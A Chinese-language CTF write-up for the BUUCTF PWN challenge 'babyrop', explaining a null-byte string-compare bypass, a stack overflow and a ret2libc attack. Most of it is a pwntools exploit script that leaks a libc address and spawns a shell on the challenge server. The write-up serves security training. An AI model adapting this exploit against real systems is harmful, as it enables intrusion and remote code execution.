【BUUCTF - PWN】babyrop

checksec一下,可以栈溢出
【BUUCTF - PWN】babyrop_第1张图片
IDA打开看看,读取随机数作为参数传入函数中
【BUUCTF - PWN】babyrop_第2张图片
读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节,可以通过输入 \0 绕过字符串比较
【BUUCTF - PWN】babyrop_第3张图片
返回的字节作为read的长度,buf只有231字节,可以通过传入255来栈溢出,然后就是标准的ret2libc了
【BUUCTF - PWN】babyrop_第4张图片

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sl=lambda x:io.sendline(x)
rl=lambda :io.recvline()

io=remote('xxx',xxx)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')

main=0x8048825

payload='\0'*7+'\255'
sl(payload)
rl()
payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4)
sl(payload)
write_addr=u32(io.recv(4))
libc_addr=write_addr-libc.sym['write']
payload='\0'*7+'\255'
sl(payload)
rl()
payload='a'*(0xe7+4)+p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next())
sl(payload)

io.interactive()

附件:babyrop

你可能感兴趣的:(BUUCTF,-,PWN)